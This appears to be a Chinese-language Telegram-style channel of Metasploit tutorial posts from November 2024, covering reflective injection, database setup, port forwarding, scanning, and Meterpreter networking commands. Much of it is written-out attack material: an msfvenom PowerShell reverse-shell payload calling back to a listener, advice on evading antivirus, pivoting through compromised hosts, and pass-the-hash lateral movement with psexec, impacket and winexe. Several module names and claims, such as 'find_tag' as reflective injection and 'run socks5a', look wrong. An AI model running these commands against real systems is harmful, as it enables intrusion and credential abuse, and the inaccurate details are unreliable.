我的公开频道

BroadcastChannel
https://channel.gandli.eu.org/

07:05 · Nov 20, 2024 · Wed

### Metasploit 反射注入 (Reflective Injection) 概述

反射注入（Reflective Injection） 是一种绕过安全防护机制的技术，特别是在执行恶意代码时，它可以避开传统的文件写入监控和防病毒检测。Metasploit 框架中的一些有效载荷使用了这种技术来将 Meterpreter 或其他恶意代码注入到目标进程中，而不依赖于写入磁盘。这种技术在渗透测试中非常有效，尤其是在面对强大防护的目标时。

### 反射注入的工作原理

1. 无文件注入
反射注入的关键特点是不将任何恶意文件写入磁盘**。而是通过在目标进程的内存中直接加载恶意代码来执行。这使得反射注入绕过了传统的基于文件的防御措施（如文件完整性检查、防病毒软件等）。

2. **直接加载到内存中
反射注入技术通过注入代码到目标进程的内存中执行，目标进程本身并不需要从磁盘上加载任何文件。因此，这种方式对于恶意代码检测是极具挑战性的。

3. 执行 Meterpreter 或其他有效载荷
Metasploit 使用反射注入来将 Meterpreter shell 或其他有效载荷直接注入到目标进程的内存空间中。通常，这些有效载荷通过一种叫做 stager 的阶段加载程序（比如 `find_tag`）来启动。这些 stager 会请求进一步的恶意代码执行，最终完全控制目标。

4. 隐蔽性强
反射注入是一种非常隐蔽的攻击方式，目标系统几乎无法检测到恶意代码的执行，特别是当没有文件在硬盘上创建时。

### 在 Metasploit 中使用反射注入

Metasploit 中有一些有效载荷是专门设计用来进行反射注入的。例如，`windows/meterpreter/find_tag` 就是一个使用反射注入的有效载荷，它不需要将任何文件写入磁盘，而是通过寻找目标进程的内存标签来执行恶意代码。

#### 使用示例

use exploit/multi/handler
set PAYLOAD windows/meterpreter/find_tag
set LHOST 10.10.13.37
set LPORT 4444
run

### 反射注入的优点

1. 绕过杀软和防病毒软件
由于恶意代码不依赖于硬盘上的文件，许多基于文件的防病毒软件和杀毒工具很难检测到反射注入攻击。

2. 避免文件系统检测
反射注入不涉及文件写入，因此可以避开很多文件监控和文件扫描工具的检测。攻击者可以在目标主机的内存中执行恶意代码，而不会留下痕迹。

3. 高隐蔽性
攻击者在执行反射注入时，目标系统不会察觉到明显的恶意活动（如文件写入、进程启动等），因此反射注入是一种高度隐蔽的攻击手段。

### 反射注入的局限性

1. 复杂性
反射注入技术较为复杂，要求攻击者熟悉目标系统的进程结构和内存布局，必须能够精确注入代码。

2. 目标程序要求高
反射注入需要目标程序能够加载并执行注入的代码。通常，目标进程必须具有足够的权限，且允许外部注入代码。

3. 反侦察工具的防护
虽然反射注入在许多情况下能够绕过防病毒软件，但一些高级的反侦察工具、内存分析工具或者沙箱环境仍然可能检测到内存中的恶意代码。

### 反射注入在 Metasploit 中的常见有效载荷

- `windows/meterpreter/find_tag`**：用于在 Windows 系统中通过反射注入技术启动 Meterpreter 会话。
- windows/meterpreter/reverse_https：适用于 Windows 的反向 HTTPS Meterpreter shell。
- windows/shell/reverse_tcp**：反向 TCP Shell，适用于反射注入。

### 总结
反射注入是一种隐蔽且强大的技术，可以有效绕过文件基础的防御措施，直接在目标系统的内存中注入并执行恶意代码。在 Metasploit 中，利用反射注入的有效载荷可以让渗透测试人员更加高效地控制目标系统，尤其是在面对强大防护的环境时。

### 关键词
#Metasploit #反射注入 #find_tag #Meterpreter #隐蔽性 #无文件攻击 #渗透测试

13:42 · Nov 17, 2024 · Sun

### 设置 PostgreSQL 自启动并连接到 Metasploit

要使 PostgreSQL 自启动并连接到 Metasploit，通常需要按照以下步骤操作：

1. 启动 PostgreSQL 服务
确保 PostgreSQL 服务已启动。如果没有启动，可以通过以下命令启动：

   sudo service postgresql start

如果使用的是系统自带的 PostgreSQL 服务管理工具，也可以使用：

   sudo systemctl start postgresql

2. 设置 PostgreSQL 自启动
为了使 PostgreSQL 在系统启动时自动启动，可以通过以下命令启用自启动：

   sudo systemctl enable postgresql

3. 检查 PostgreSQL 服务状态
运行以下命令检查 PostgreSQL 服务的状态，确保它正在运行：

   sudo systemctl status postgresql

4. 连接 Metasploit 到 PostgreSQL
如果 PostgreSQL 已成功启动并运行，可以通过以下命令连接到 PostgreSQL 数据库：

   msfdb init

msfdb init 会初始化并连接到 PostgreSQL 数据库。如果之前没有初始化数据库，这个命令会自动设置数据库连接并启动相关服务。

5. 验证连接
运行 db_status 命令来确认是否已经成功连接：

   msf6 > db_status

如果输出类似以下内容，说明数据库连接已成功：

   [+] postgresql connected to msf

这样，你就设置了 PostgreSQL 自启动，并且确保 Metasploit 已连接到数据库。

#关键词 #PostgreSQL #Metasploit #自启动 #数据库连接

关键词 PostgreSQL Metasploit 自启动数据库连接

01:16 · Nov 17, 2024 · Sun

### MSF 中 db_status 报告 "no connection" 错误

在 Metasploit 框架中，`db_status` 命令用于检查数据库的连接状态。如果你看到 [*] postgresql selected, no connection 的消息，这表示 Metasploit 没有成功连接到 PostgreSQL 数据库。这通常是因为数据库未启动或配置不正确。

以下是几个常见的解决方法：

### 1. 启动 PostgreSQL 服务
Metasploit 默认使用 PostgreSQL 作为数据库。如果数据库未启动，Metasploit 就无法连接。你可以使用以下命令来启动 PostgreSQL 服务：

sudo service postgresql start

或者，使用 systemctl 命令：

sudo systemctl start postgresql

### 2. 配置 PostgreSQL 数据库
Metasploit 需要一个数据库来存储会话和其他数据。如果 PostgreSQL 服务已启动但仍然没有连接，可能是数据库配置问题。

首先，确保 Metasploit 使用的是正确的数据库配置。在 Kali Linux 中，可以使用以下命令初始化和配置数据库：

msfdb init

该命令会：
- 安装 PostgreSQL（如果尚未安装）
- 初始化数据库
- 启动 PostgreSQL 服务
- 创建 Metasploit 所需的数据库和表格

### 3. 检查 PostgreSQL 用户权限
有时 PostgreSQL 配置中的用户权限可能会导致连接问题。你可以尝试重新配置 PostgreSQL 用户，以确保 Metasploit 使用正确的凭据连接。

sudo -u postgres createuser msf
sudo -u postgres createdb msf_database
sudo -u postgres psql

然后在 PostgreSQL 命令行中，设置用户的权限：

ALTER USER msf WITH PASSWORD 'msf_password';
GRANT ALL PRIVILEGES ON DATABASE msf_database TO msf;

### 4. 验证数据库连接
一旦启动 PostgreSQL 服务并重新配置数据库，使用以下命令验证 Metasploit 是否能连接到数据库：

msfconsole
msf6 > db_status

如果数据库连接成功，你应该看到类似于：

[*] postgresql connected to msf_database

### 5. 检查 PostgreSQL 日志
如果上述步骤没有解决问题，可以查看 PostgreSQL 的日志文件，可能会提供更详细的错误信息。日志通常位于 /var/log/postgresql/ 目录。

### 总结
要解决 no connection 错误，首先确保 PostgreSQL 服务正在运行并正确配置。使用 msfdb init 命令重新初始化 Metasploit 数据库，确认 PostgreSQL 配置和权限没有问题。

#关键词 #Metasploit #db_status #PostgreSQL #连接问题 #数据库配置

关键词 Metasploit db_status PostgreSQL 连接问题数据库配置

07:02 · Nov 14, 2024 · Thu

### portfwd 命令用法总结

portfwd 是 Metasploit 中用于设置和管理端口转发的命令。通过该命令，你可以将本地端口流量转发到远程主机或服务，常用于渗透测试中的中继攻击或访问被防火墙保护的内部网络服务。

#### 常用子命令
1. `add`**：添加一个端口转发规则
2. delete：删除一个端口转发规则
3. list：列出当前所有端口转发规则
4. flush：清空所有端口转发规则

#### 选项说明
- -h：显示帮助信息
- -i：指定端口转发条目的索引（通过 `list` 命令查看）
- -l：指定本地端口（监听端口）或本地连接端口
- -L：指定本地主机（本地 IP 地址）
- -p：指定远程主机的端口（用于连接）
- -r：指定远程主机的 IP 地址（连接目标）
- -R**：指示反向端口转发（将远程端口流量转发到本地）

#### 使用示例

1. **添加端口转发规则**：
将本地 192.168.5.14:445 的流量转发到远程主机 `192.168.80.172:445`：

   portfwd add -L 192.168.5.14 -l 445 -p 445 -r 192.168.80.172

2. **列出所有端口转发规则**：
查看当前配置的端口转发规则：

   portfwd list

3. **删除指定的端口转发规则**：
假设你想删除 `Index` 为 0 的规则，可以使用：

   portfwd delete -i 0

4. **删除所有端口转发规则**：
清空所有转发规则：

   portfwd flush

#### 典型应用场景
- **内网渗透**：利用端口转发将攻击机连接到内网服务，例如 SMB、RDP、SSH 等，进行进一步渗透。
- **绕过防火墙**：通过跳板机或代理主机实现对受防火墙保护的内网主机的访问。
- **反向代理**：当目标主机或服务无法直接访问时，可以配置反向端口转发来接入内网。

---

#portfwd #Metasploit #端口转发 #命令总结

portfwd Metasploit 端口转发命令总结

05:35 · Nov 14, 2024 · Thu

### Metasploit 模块搜索结果概览

从你提供的搜索结果来看，Metasploit 上有多个与 端口扫描 和发现相关的模块。以下是你搜索到的模块：

#### 端口扫描相关模块：
1. `auxiliary/scanner/portscan/ftpbounce`**：用于执行 FTP Bounce 扫描。
2. auxiliary/scanner/portscan/xmas：执行 TCP "XMas" 扫描，用于绕过某些防火墙或检测机制。
3. auxiliary/scanner/portscan/ack：执行 TCP ACK 扫描，通常用于探测防火墙。
4. auxiliary/scanner/portscan/tcp：标准的 TCP 端口扫描器。
5. auxiliary/scanner/portscan/syn：执行 TCP SYN 扫描，常用于进行半开扫描（SYN 扫描），它是非常快速的端口扫描方法。

#### 网络发现相关模块：
1. auxiliary/scanner/discovery/arp_sweep：进行 ARP 扫描，通常用于局域网发现，查找活跃的主机。
2. auxiliary/scanner/discovery/ipv6_multicast_ping：用于进行 IPv6 的链路本地或节点本地的多播 ping 扫描。
3. auxiliary/scanner/discovery/ipv6_neighbor：进行 IPv6 本地邻居发现扫描。
4. auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement：使用路由器广告来执行 IPv6 本地邻居发现。
5. auxiliary/scanner/discovery/empty_udp：执行空的 UDP 探测，通常用于 UDP 服务的侦测。
6. auxiliary/scanner/discovery/udp_probe：UDP 服务探测器，可以用于查找开放的 UDP 服务。
7. auxiliary/scanner/discovery/udp_sweep：UDP 服务扫描器，扫描目标主机上的多个 UDP 端口。

### 详细信息：

- auxiliary/scanner/portscan/tcp 模块：这是标准的 TCP 端口扫描器，扫描目标主机上的常见端口，适用于常规的端口扫描。

- auxiliary/scanner/discovery/udp_sweep** 模块：如果你想执行 **UDP 服务扫描**，`udp_sweep` 是一个很好的选择，它可以扫描多个 UDP 端口以发现目标主机上开放的服务。

### 如何使用 udp_sweep 模块？

1. **加载 udp_sweep 模块**：

   msf6 > use auxiliary/scanner/discovery/udp_sweep

2. **查看模块选项**：

   msf6 auxiliary(scanner/discovery/udp_sweep) > options

3. **设置目标主机**：

   msf6 auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 192.168.80.129

4. **设置扫描端口范围**（可选）：
如果你只想扫描特定的 UDP 端口范围，可以设置 `PORTS`：

   msf6 auxiliary(scanner/discovery/udp_sweep) > set PORTS 53,161,162

5. **运行扫描**：
执行 UDP 服务扫描：

   msf6 auxiliary(scanner/discovery/udp_sweep) > run

### 总结：
- 如果你需要执行 **TCP 端口扫描**，可以选择 auxiliary/scanner/portscan/tcp 模块。
- 如果你需要扫描 **UDP 服务**，可以选择 auxiliary/scanner/discovery/udp_sweep 模块。

#socks5 #Metasploit

socks5 Metasploit

17:03 · Nov 13, 2024 · Wed

### Nikto 与 Metasploit Framework 结合使用

将 Nikto 和 Metasploit Framework 结合使用可以实现更加全面的 Web 应用漏洞分析和渗透测试。通过将 Nikto 扫描的结果导入到 Metasploit 中，你可以利用 Metasploit 的漏洞利用功能进一步进行攻击和渗透测试。下面是 Nikto 和 Metasploit 结合使用的几种方法。

#### 1. Nikto 扫描结果导入 Metasploit
Nikto 的扫描结果可以导出为 XML 或其他格式，然后通过 Metasploit 的 db_import 命令将其导入到数据库中。

步骤：
1. 使用 Nikto 扫描目标网站并将结果保存为 XML 格式：

   nikto -h http://example.com -o nikto_scan.xml -Format xml

2. 启动 Metasploit Framework：

   msfconsole

3. 导入 Nikto 扫描结果：

   db_import /path/to/nikto_scan.xml

4. 导入后，Metasploit 会将 Nikto 扫描中发现的漏洞、端口、服务等信息存储到数据库中。你可以通过 hosts`、`services`、`vulns 等命令查看扫描结果。例如：

   hosts
   services
   vulns

5. 之后，你可以根据这些信息选择合适的漏洞利用模块进行攻击。

#### 2. 使用 Metasploit 的 `auxiliary/scanner/http/nikto` 模块
Metasploit 提供了一个 auxiliary/scanner/http/nikto 模块，可以直接在 Metasploit 中运行 Nikto 扫描，而无需独立使用 Nikto 工具。这种方式能将 Nikto 的扫描功能集成到 Metasploit 内部进行漏洞分析。

步骤：
1. 启动 Metasploit：

   msfconsole

2. 加载 auxiliary/scanner/http/nikto 模块：

   use auxiliary/scanner/http/nikto

3. 配置目标地址：

   set RHOSTS http://example.com

4. 配置其他参数，如端口、扫描选项等：

   set RPORT 80
   set THREADS 10

5. 运行扫描：

run

6. Metasploit 会运行 Nikto 扫描并显示结果。扫描结果与 Nikto 输出类似，但在 Metasploit 环境中进行管理和利用会更加方便。

#### 3. 结合漏洞利用
通过将 Nikto 扫描结果导入到 Metasploit 后，你可以利用 Metasploit 的漏洞利用模块进一步对目标进行攻击。例如，如果 Nikto 检测到某个常见的漏洞（如 XSS、SQL 注入等），你可以搜索并选择相应的漏洞利用模块。

步骤：
1. 使用 search 命令查找可能的漏洞利用模块：

   search type:exploit xss

2. 选择相应的漏洞利用模块并配置目标：

   use exploit/unix/webapp/sqli_example
   set RHOSTS http://example.com
   set RPORT 80
   run

通过这种方式，Nikto 扫描的结果和 Metasploit 中的漏洞利用模块结合使用，可以实现自动化的漏洞发现和渗透测试。

### 总结
1. **Nikto 导入 Metasploit**：通过将 Nikto 的扫描结果导出并导入到 Metasploit 中，结合 Metasploit 的数据库进行漏洞利用。
2. **Metasploit 自带的 nikto 模块**：直接使用 Metasploit 内部的 auxiliary/scanner/http/nikto 模块进行扫描。
3. **漏洞利用**：结合 Nikto 扫描结果与 Metasploit 的漏洞利用模块进行更深入的渗透测试。

这种结合使用可以帮助你更高效地进行 Web 应用的漏洞扫描、分析和利用。

#Nikto #Metasploit #Web漏洞扫描 #渗透测试 #漏洞利用 #KaliLinux

Nikto Metasploit Web漏洞扫描渗透测试漏洞利用 KaliLinux

15:57 · Nov 12, 2024 · Tue

### 升级反弹Shell为Meterpreter（`shell_to_meterpreter`）

在渗透测试过程中，有时会遇到反向Shell连接已经成功，但该Shell仍然是一个简单的命令行Shell。这时，可以使用Metasploit的 shell_to_meterpreter 这个模块将现有的Shell会话升级为Meterpreter会话，获得更强的控制权限。

### 使用 shell_to_meterpreter 升级Shell

假设您已经成功获得了一个普通的反向Shell连接，并希望将其升级为Meterpreter会话。以下是升级步骤：

#### 1. 启动 Metasploit 控制台
如果还未启动Metasploit，打开终端并启动控制台：

msfconsole

#### 2. 使用 shell_to_meterpreter 模块
Metasploit中提供了一个 shell_to_meterpreter 模块，它可以通过简单的Shell将其升级为Meterpreter。使用以下命令：

use post/multi/manage/shell_to_meterpreter

#### 3. 设置目标会话
设置要升级的会话ID。假设您已经获得了一个普通的Shell会话并且它的会话ID是 `1`，您可以使用以下命令：

set SESSION 1

确保您将 `1` 替换为实际的Shell会话ID。

#### 4. 执行升级操作
运行以下命令来执行升级：

run

该命令将尝试通过当前的Shell会话将其升级为Meterpreter会话。如果成功，您将会看到Meterpreter的交互式Shell，并且可以使用更多高级功能，如截图、键盘记录、文件系统访问等。

#### 5. 享受Meterpreter的高级功能
成功升级到Meterpreter后，您将获得更强大的控制权，可以执行各种操作，例如：
- 获取目标的系统信息 (sysinfo)
- 截图 (screenshot)
- 执行反向Shell (shell)
- 读取/写入文件系统 (download, upload)
- 执行键盘记录 (keyscan_start, keyscan_dump)
- 获取密码哈希值 (hashdump)

### 额外注意：
- **权限问题**：如果目标的Shell权限不够高（例如普通用户权限），可能会无法成功升级到Meterpreter。确保Shell具有足够的权限，或者尝试以更高权限运行该Shell。
- **攻击检测**：升级Shell到Meterpreter的过程可能会触发一些安全工具的警报，特别是在启用了入侵检测或防病毒软件的环境中。

### 其他升级方法：
如果您通过反向Shell连接并且没有权限使用`shell_to_meterpreter`，也可以尝试手动上传Metasploit生成的Meterpreter脚本，或者利用其他方式将Shell进程替换为Meterpreter进程（例如通过下载并执行Meterpreter的Payload）。

---

#Metasploit #shell_to_meterpreter #反向Shell #渗透测试 #Shell升级 #Meterpreter

Metasploit shell_to_meterpreter 反向Shell 渗透测试 Shell升级 Meterpreter

15:48 · Nov 12, 2024 · Tue

#无文件 #PowerShell #反向木马 #ReverseShell #Metasploit #Windows #powershell #reverse #tcp #Meterpreter #渗透测试

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1

无文件 PowerShell 反向木马 ReverseShell Metasploit Windows powershell reverse tcp Meterpreter 渗透测试

12:19 · Nov 12, 2024 · Tue

### 目标内网主机无法直接访问时的渗透策略

当你需要渗透的目标主机位于内网中，并且你无法直接访问时，可以通过以下几种常见的方法来实现对内网主机的访问。这些方法通常基于你已获得的其他内网主机的访问权限（如通过 Meterpreter 会话）。

### 1. 利用目标主机的网关或中转主机（跳板机）

如果你能够访问到一台在内网中的机器，且该机器可以访问目标主机，你可以通过它来进行跳板攻击。这可以通过 端口转发 来实现，具体步骤如下：

#### 1.1 使用 Meterpreter 进行端口转发（port forwarding）

如果你已经通过 Meterpreter 会话连接到了内网中的一台主机，你可以设置端口转发**，将目标主机的服务流量通过当前会话的机器转发到你的本地机器，从而绕过内网的防火墙限制。

假设目标主机的 IP 为 `192.168.1.10`，并且你想要访问该主机的 SMB 服务（端口 445），你可以使用以下命令来设置端口转发：

```bash
meterpreter > portfwd add -l 445 -p 445 -r 192.168.1.10
```

此命令会将你本地的 445 端口流量转发到目标主机 `192.168.1.10` 的 445 端口。你现在可以从你的本地机器直接访问目标主机的 SMB 服务。

#### 1.2 **多级端口转发

如果你在内网中的机器连接到了多个目标，或有多个跳板主机，可以通过逐级转发端口来实现对目标主机的访问。例如，你可以通过一台中间主机（假设它的 IP 是 `192.168.1.2`）来转发流量。

在这种情况下，步骤如下：

1. 先在 `192.168.1.2` 上设置端口转发：

   meterpreter > portfwd add -l 4444 -p 445 -r 192.168.1.10

2. 然后在你本地机器上转发端口：

   meterpreter > portfwd add -l 5555 -p 4444 -r 192.168.1.2

此时，你可以通过连接到本地的 5555 端口访问目标主机的 SMB 服务。

### 2. 通过 VPN 或 RDP 实现远程访问

如果你的攻击工具或环境中包含了一个可以访问内网的 VPN 或 RDP 服务，可以通过这些服务来实现对内网主机的访问。

#### 2.1 利用 RDP 登录到内网主机

如果你获得了内网中某台主机的凭据（通过之前的凭据枚举等方法），你可以尝试通过 RDP（远程桌面协议） 登录到这台主机。你可以使用 RDP 客户端连接并进行后续的渗透。

#### 2.2 通过 VPN 隧道访问内网

如果你有权限连接到一个已经配置好的 VPN，可以通过 VPN 将你的机器虚拟地接入到目标内网。这将使你可以访问到内网中的其他主机，包括无法直接访问的目标主机。

### 3. 使用 `pivoting` 技术进行内网渗透

#### 3.1 利用 Meterpreter 的 `pivoting` 功能

当你获得对一台内网主机的 Meterpreter 会话时，可以使用 pivoting 技术将流量通过该主机转发到其他内部主机。Meterpreter 提供了一些命令来设置这一功能。

##### 设置 HTTP 隧道：

meterpreter > run autoroute -s 192.168.1.0/24

这个命令会将目标子网（例如 `192.168.1.0/24`）的流量通过当前的 Meterpreter 会话进行转发。

##### 设置 SOCKS5 代理：

meterpreter > run socks5a

通过设置 SOCKS5 代理，你可以将你所有的网络流量通过当前的会话传输，从而实现内网的访问。你可以配置本地的浏览器或其他工具，使用 SOCKS5 代理来访问内网中的其他主机。

#### 3.2 使用 `autoroute` 进行路由添加

autoroute 是一个 Meterpreter 后渗透模块，可以帮助你自动添加路由，从而使得你的网络流量能够通过目标主机进行传递。

你可以使用以下命令来添加目标网络路由：

meterpreter > run autoroute -p

这个命令会自动检查并添加目标网络的路由，确保你可以访问到内网的其他主机。

### 4. 使用反向代理（Reverse Proxy）

如果目标主机位于内网并且防火墙阻止了直接的访问，你还可以尝试通过反向代理技术绕过这些限制。例如，如果你能在一台内网主机上设置反向代理，可以将流量通过这台主机转发到目标主机。

### 5. 通过 SMB 进行横向渗透

如果你已经获得了某台内网主机的凭据（如

stu1$`），并且目标机器使用 SMB 协议，可以通过 **SMB 远程执行** 进行横向渗透。以下是如何利用 `psexec

或 smb_exec 模块进行操作：

#### 使用 psexec 模块：

meterpreter > use exploit/windows/smb/psexec
meterpreter > set RHOST <目标主机IP>
meterpreter > set SMBUser stu1$
meterpreter > set SMBPass <NTLM 哈希>
meterpreter > exploit

#### 使用 smb_exec 模块：

meterpreter > use post/windows/gather/smbexec
meterpreter > set RHOST <目标主机IP>
meterpreter > set SMBUser stu1$
meterpreter > set SMBPass <NTLM 哈希>
meterpreter > exploit

这些方法可以帮助你横向渗透到目标主机。

### 总结

- **端口转发**：通过内网中的一台主机进行端口转发，实现对其他目标主机的访问。
- **跳板主机**：利用内网中的跳板主机进行进一步渗透。
- **pivoting 技术**：使用 Meterpreter 的 autoroute 和 SOCKS5 代理功能来实现内网访问。
- **反向代理**：在内网主机上设置反向代理，实现流量转发。
- **横向渗透**：利用 SMB 等协议进行横向渗透，进一步访问内网其他主机。

通过这些方法，即使目标主机位于内网中并且不可直接访问，你依然可以借助其他内网主机、端口转发或 VPN 等手段进行渗透。

#Metasploit #Meterpreter #内网渗透 #跳板机 #端口转发 #pivoting #横向渗透 #反向代理 #SMB

Metasploit Meterpreter 内网渗透跳板机端口转发 pivoting 横向渗透反向代理 SMB

12:12 · Nov 12, 2024 · Tue

### 内网域信息探测与利用 stu1$ 进行域渗透

在渗透测试中，域信息探测和利用计算机账户（如

stu1$`）进行域渗透是常见的攻击步骤。下面，我会分别讲解如何进行域信息探测以及如何利用 `stu1$

进行域渗透。

### 1. 内网域信息探测
在对内网进行渗透时，首先需要了解目标网络的域信息，特别是关于域控制器、域名、计算机账户等。你可以通过以下方法获取内网域信息：

#### 1.1. 使用 Nmap 执行域扫描
Nmap 提供了一些脚本，可以帮助你快速探测目标网络中的域信息。以下是几种常见的 Nmap 脚本：

- 扫描域控制器**：
使用 `nmap` 的 `--script` 参数来扫描目标网络中的域控制器：
```bash
nmap -p 445 --script smb-os-fingerprint,smb-enum-domains,smb-enum-users <目标IP>
```
- `smb-enum-domains`：枚举网络中的域。
- `smb-enum-users`：枚举域中的用户账户。
- `smb-os-fingerprint`：识别目标系统的操作系统版本。

#### 1.2. **使用 SMB 扫描域信息
你可以使用 `smbclient` 工具来探测域和计算机信息。以下命令可以列出目标网络中的共享信息：

smbclient -L //<目标IP> -U <用户名>

这个命令会列出目标主机的 SMB 共享，并显示域信息。如果你没有用户名，可以尝试匿名登录：

smbclient -L //<目标IP> -U guest

#### 1.3. 使用 Enum4Linux 获取域信息
enum4linux 是一个强大的工具，用于从 Windows 主机（特别是域控制器）收集信息。你可以使用它来探测域名、域用户、计算机账户等信息：

enum4linux -a <目标IP>

该命令将显示大量的域信息，包括用户、组、计算机等。

#### 1.4. 查询域控制器的 DNS 信息
使用 nslookup 或 dig 查询域控制器的 DNS 记录：

nslookup -type=SRV _ldap._tcp.<domain>

这将显示与目标域相关的 LDAP 服务信息，帮助你定位域控制器。

### 2. 利用 `stu1$` 进行域渗透
stu1$ 是一个计算机账户，它通常在域中代表计算机或工作站（以 $ 结尾）。利用 stu1$ 进行域渗透通常涉及使用计算机账户的 NTLM 哈希进行身份验证，尤其是在通过 Windows 域网络进行横向移动时。

#### 2.1. 理解 `stu1$` 计算机账户
计算机账户（以 $ 结尾）通常具有与域用户相同的权限，它们用于 Windows 域控制器上的身份验证。由于你已经获得了 stu1$ 计算机账户的 NTLM 哈希，你可以尝试使用它来在网络中进行身份验证或横向移动。

#### 2.2. 使用 `stu1$` 进行横向渗透
一旦你获得了 stu1$ 计算机账户的 NTLM 哈希，你可以使用工具如 psexec`、`wmiexec 或 smbexec 来进行横向渗透。这些工具允许你利用 NTLM 哈希进行身份验证，并在远程主机上执行命令。

- 使用 Psexec (Metasploit 的 psexec 模块)**：
```bash
use exploit/windows/smb/psexec
set RHOSTS <目标IP>
set SMBUser stu1$
set SMBPass <stu1$的NTLM哈希>
exploit
```

或者使用 `psexec.py` 工具：
```bash
python psexec.py stu1$:<stu1$的NTLM哈希>@<目标IP>
```

这将允许你使用 `stu1$` 账户（通过其 NTLM 哈希）执行远程命令。

#### 2.3. **利用 Pass-the-Hash 进行身份验证
通过 Pass-the-Hash 攻击，使用已获取的 NTLM 哈希直接进行身份验证，而无需明文密码。你可以利用 pth 工具包（如 `impacket`）进行攻击：

impacket-psexec stu1$:<stu1$的NTLM哈希>@<目标IP>

或者使用 `pth-winexe`：

winexe -U "stu1$%<stu1$的NTLM哈希>" //<目标IP> "cmd.exe"

这样，你就能在目标主机上执行命令，并获取访问权限。

#### 2.4. 进一步利用计算机账户
如果 `stu1$` 计算机账户属于域管理员组（例如 `Domain Admins`），你可以利用它来进行更深入的渗透操作，获取更高权限的访问。

- 通过 `net group` 命令列出域管理员组：

  net group "Domain Admins" /domain

如果 stu1$ 计算机账户属于该组，你可以尝试通过该账户获取域管理员权限。

### 3. 总结
- **域信息探测**：通过 Nmap、enum4linux、SMB 等工具，你可以收集内网的域信息、计算机账户、共享资源等。
- **利用 stu1$ 进行域渗透**：通过 Pass-the-Hash 攻击、psexec 或 Winexe，你可以利用 stu1$ 计算机账户的 NTLM 哈希进行远程命令执行和横向渗透。

这些步骤将帮助你在内网中利用计算机账户进行有效的域渗透，进一步获得对目标网络的控制。

#域渗透 #PassTheHash #stu1$ #Metasploit #Nmap #SMB #横向渗透 #网络渗透

域渗透 PassTheHash stu1 Metasploit Nmap SMB 横向渗透网络渗透

12:07 · Nov 12, 2024 · Tue

### Stdapi 网络命令详解

在 Metasploit 的 Stdapi: Networking Commands 模块中，提供了一些常用的网络命令，这些命令有助于渗透测试人员了解和操作目标主机的网络配置。下面是这些命令的详细解释：

#### 1. arp
- 描述**：显示主机的 ARP（地址解析协议）缓存。
- **用途**：`arp` 命令列出目标机器的 ARP 缓存，显示主机的 IP 地址与 MAC 地址映射。通过查看 ARP 缓存，可以了解目标主机最近通信过的其他设备。
- **常见用法**：
```bash
meterpreter > arp
```

#### 2. **getproxy
- 描述**：显示当前的代理配置。
- **用途**：此命令用于查看目标主机是否配置了代理服务器，如果有，它会显示代理的设置，如地址、端口等。这对于需要通过代理进行隐蔽渗透的情况非常有用。
- **常见用法**：
```bash
meterpreter > getproxy
```

#### 3. **ifconfig
- 描述**：显示所有网络接口的配置。
- **用途**：`ifconfig` 命令用于列出目标主机上所有网络接口的信息，包括 IP 地址、子网掩码、MAC 地址等。这有助于你了解目标系统的网络配置和可用的网络接口。
- **常见用法**：
```bash
meterpreter > ifconfig
```

#### 4. **ipconfig
- 描述**：显示网络接口配置信息（类似于 `ifconfig`，但通常在 Windows 系统上使用）。
- **用途**：这个命令在 Windows 系统中常用，类似于 Linux 上的 `ifconfig`。它会列出所有网络接口的 IP 地址、子网掩码和默认网关等信息。
- **常见用法**：
```bash
meterpreter > ipconfig
```

#### 5. **netstat
- 描述**：显示当前的网络连接。
- **用途**：`netstat` 命令可以显示目标系统的活动网络连接，包括 TCP 和 UDP 连接、监听的端口等。这对于识别目标主机上的开放端口、监听服务以及网络通信状态非常有用。
- **常见用法**：
```bash
meterpreter > netstat
```

#### 6. **portfwd
- 描述**：将本地端口转发到远程服务。
- **用途**：这个命令允许你将一个本地端口转发到目标主机上的某个端口。它通常用于通过目标主机访问防火墙后面的内部服务（例如目标网络中的其他主机）。
- **常见用法**：
```bash
meterpreter > portfwd add -l 8080 -p 80 -r 192.168.1.10
```
这条命令将本地机器的 8080 端口转发到目标主机（`192.168.1.10`）的 80 端口。

#### 7. **resolve
- 描述**：解析一组主机名。
- **用途**：此命令用于将主机名转换为 IP 地址（即 DNS 解析）。如果你知道目标系统的域名或主机名，可以使用此命令获取相应的 IP 地址。
- **常见用法**：
```bash
meterpreter > resolve example.com
```

#### 8. **route
- **描述**：查看和修改路由表。
- **用途**：`route` 命令允许你查看或修改目标系统的路由表。通过修改路由表，可以改变网络流量的转发路径，通常用于绕过防火墙或将流量通过某些中间设备进行转发。
- **常见用法**：
- **查看路由表**：

       meterpreter > route

- **添加路由**：

       meterpreter > route add 192.168.2.0 255.255.255.0 192.168.1.1

这条命令将目标主机的流量通过 192.168.1.1 路由到 192.168.2.0/24 子网。

---

### 总结

这些网络命令帮助渗透测试人员在目标机器上执行一系列网络操作，从查看网络配置、扫描端口、修改路由表到通过代理转发流量，提供了强大的支持。在进行内网渗透时，合理使用这些命令可以帮助你收集网络拓扑信息、绕过防火墙、设置中继等，推动渗透过程的进一步发展。

#Metasploit #Stdapi #NetworkingCommands #渗透测试 #ARP #路由 #代理 #端口转发

Metasploit Stdapi NetworkingCommands 渗透测试 ARP 路由代理端口转发

02:29 · Nov 12, 2024 · Tue

### 删除 Metasploit 中指定的 Hosts、Vulns 和 Services

如果你想删除特定的主机、服务或漏洞记录，可以按照以下步骤进行操作：

#### 1. 删除指定的 Host
删除指定的主机时，需要先知道主机的 IP 地址。假设你要删除 IP 为 192.168.1.10 的主机，可以使用以下命令：

hosts -d 192.168.1.10

这将删除 IP 为 192.168.1.10 的主机记录。

#### 2. 删除指定的 Service
如果你想删除某个主机的特定服务，例如 192.168.1.10 上的 80/tcp 服务，可以使用以下命令：

services -d 192.168.1.10 80

这将删除 192.168.1.10 上的 80/tcp 服务。

#### 3. 删除指定的 Vulnerability
要删除特定漏洞记录，首先你需要知道漏洞的 ID 或相关信息。假设你想删除 MS17-010 漏洞，你可以使用以下命令：

vulns -d MS17-010

或者，直接删除某个特定主机上的漏洞（如 `192.168.1.10`）：

vulns -d 192.168.1.10

#### 总结：
- `hosts -d <ip>`**：删除指定 IP 的主机记录。
- `services -d <ip> <port>`：删除指定 IP 和端口的服务记录。
- `vulns -d <vuln_id>`：删除指定漏洞记录（如 `MS17-010`）。
